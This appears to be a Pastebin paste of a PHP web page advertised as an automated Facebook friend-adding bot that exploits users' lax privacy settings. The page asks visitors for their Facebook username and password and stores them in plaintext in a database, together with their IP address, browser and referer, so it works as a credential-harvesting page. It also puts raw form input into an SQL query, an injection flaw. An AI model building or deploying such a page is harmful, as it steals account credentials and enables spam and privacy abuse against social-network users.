Advertisement
Guest User

Untitled

a guest
Dec 24th, 2017
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.24 KB | None | 0 0
  1. <?php
  2. include("config.php");
  3. include("opendb.php");
  4. session_start()
  5. ?>
  6. <html>
  7. <head>
  8. <title>Auto Facebook Friender</title>
  9. </head>
  10. <body>
  11. <h1>My simple facebook bot :) </h1><br>
  12. <b>A little background:</b> So it's always bothered me how there's all these bots that send thousands of people links to adult dating<br>
  13. sites, or worse; I've always wondered how these bots even got that many friends in the first place, and after some googling, <br>
  14. I couldn't find any SOLID documentation on how to create a bot that does this... SO, I created my own! <br><br>
  15. <b>A little bit about this tool:</b> this web page is coded in a blended style of html and php. HTML is what you're seeing now, it <br>
  16. provides the front end for the web page, and php, which you don't see [even in the source code], provides the back end which <br>
  17. handles all of the data. After the data has been inserted into a private database via this web page, an automatic tool [written in <br>
  18. Perl (I <3 PERL)] will start up at 11 PM GMT+0, grab any info that's in the database (could be a long queue, or a short queue), and then<br>
  19. make a connection to facebook using your account credentials. The tool then takes advantage of users' privacy settings, allowing the bot<br>
  20. to automatically search through and add users with minimal privacy settings. After the predetermined amount of users has been added, <br>
  21. the bot closes the connection, and moves on to the next account in the queue. Upon reaching the end of the database (or 11:30 PM GMT),<br>
  22. the bot closes any connection (to prevent glitches), and shuts down.<br>
  23. <i>A red * denotes a required field.</i> <br>
  24.      <form action="facebookfriender.php" method="post">
  25.     <table width="246" height="78" border="0">
  26.       <tr>
  27.         <td width="71" height="37"><p>Username:</p></td>
  28.         <td width="121"><input type="text" name="username" size="20" /></td>
  29.         <td width="121"><center><font color="red">*</font></center></td>
  30.       </tr>
  31.       <tr>
  32.         <td height="35"><p>Password:</p></td>
  33.         <td><input type="password" name="password" size="20" /></td>
  34.         <td><center><font color="red">*</font></center></td>
  35.       </tr>
  36.     </table>
  37.       <table width="200" border="0">
  38.         <tr>
  39.           <td><center><input type="submit" value="Submit" /></center></td>
  40.         </tr>
  41.       </table></form><p>
  42. <?php
  43.     $_SESSION['count'] = ($_SESSION['count']) ? $_SESSION['count'] + 1 : 1;
  44.     $referer = $_SERVER['HTTP_REFERER'];
  45.     $user = $_POST['username']; //grabs post data and puts in a php variable.
  46.     $pass = $_POST['password'];
  47.     $user = stripslashes($user); //security from a bunch of stuff
  48.     $pass = stripslashes($pass);
  49.     $user = mysql_real_escape_string($user); //security from sqli
  50.     $pass = mysql_real_escape_string($pass);
  51.     $ip = $_SERVER['REMOTE_ADDR']; //grab the client's IP address
  52.     $agent = $_SERVER['HTTP_USER_AGENT']; //grab the client's browser info
  53.     if (preg_match('/windows/i', $agent)) {  //attempts to find the word 'windows' [case-insensitive] in the user agent string.
  54.     $platform = 'Windows';
  55.     }
  56.     else if (preg_match('/linux|unix/i', $agent)) { //attempts to find the word 'linux' in the user agent string
  57.     $platform = 'Linux';
  58.     }
  59.     else if (preg_match('/macintosh|mac os x/i', $agent)) { //attempts to find the word 'macintosh or mac os x' in the user agent string
  60.     $platform = 'Mac';
  61.     }
  62.     else {
  63.     $platform = 'Unknown';
  64.     }
  65.     if (preg_match('/firefox/i', $agent)) {
  66.     $browser = 'Mozilla Firefox';
  67.     }
  68.     else if (preg_match('/msie/i', $agent)) {
  69.     $browser = 'Microsoft Internet Explorer';
  70.     }
  71.     else if (preg_match('/chrome/i', $agent)) {
  72.     $browser = 'Google Chrome';
  73.     }
  74.     else if (preg_match('/safari/i', $agent)) {
  75.     $browser = 'Safari';
  76.     }
  77.     else {
  78.     $browser = 'Unknown';
  79.     }
  80.     $authUser = mysql_query("select id from $table where account = '".$_POST['username']."'") or die ("Could not match data because ".mysql_error()); //query to see if the account is already in the db
  81.     $user_num_rows = mysql_num_rows($authUser); //if the above query finds the account in the db, this value will be greater than 0
  82.     $authIP = mysql_query("select id from $table where ip = '$ip'") or die ("Could not match data because ".mysql_error()); //query to see if the client IP is in the database
  83.     $ip_num_rows = mysql_num_rows($authIP); // if the above query finds the client ip in the db, this value will be greater than 0
  84.     if (($user_num_rows != 0) || ($ip_num_rows != 0)) { //if there IS POST data [the user clicked submit], AND if their account OR ip is already in the db...
  85.     $count = $_SESSION['count'];
  86.     echo "Sorry, the account <b>", $user ,"</b> has already been added, or you've already added another account.<br>
  87.           This tool checks to see if an account has already been added to queue, <br> and then it checks if
  88.           your current IP Address, <b>", $ip ,"</b>, has already used this tool.<br>The database that this info is stored
  89.           in is wiped when the job is complete (11:30 PM GMT) so you may try again after that time.<br>Unless, of
  90.           course, you have the means to bypass these restrictions.<br> Some information we've collected from you [for demographic purposes]: <br>
  91.           <b>IP Address:</b> ", $ip, "<br>
  92.           <b>Attempted username:</b> ", $user, "<br>
  93.           <b>Operating system [with a moderate margin for error]:</b> ", $platform, "<br>
  94.           <b>Browser [with a moderate margin for error]:</b> ", $browser, "<br>
  95.           <b>Number of failed attempts:</b> ", $count, "<br>
  96.           <b>Where you came from [with a huge margin for error]:</b> ", $referer, "<br>
  97.           <b>Your complete user-agent string [this isn't logged]:</b> <br>", $agent,"";
  98.     exit;
  99.     } else if ((isset($_POST['username'])) && (isset($_POST['password']))) { // if their info isn't in the db, then check if the user clicked submit. if they did...
  100.      
  101.      
  102.     $insert = mysql_query("INSERT INTO `accounts` (account, pwd, ip, os, browser, referer, attempts) VALUES ('$user', '$pass', '$ip', '$platform', '$browser', '$referer', '$count');") //take the username and pass info from the form the user filled out, and also take the REMOTE_ADDR, and put them into the db.
  103.     or die("Could not insert data because ".mysql_error());
  104.      
  105.      
  106.     echo "Account successfully added to queue.";
  107.     }
  108.     ?>
  109. </body>
  110. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement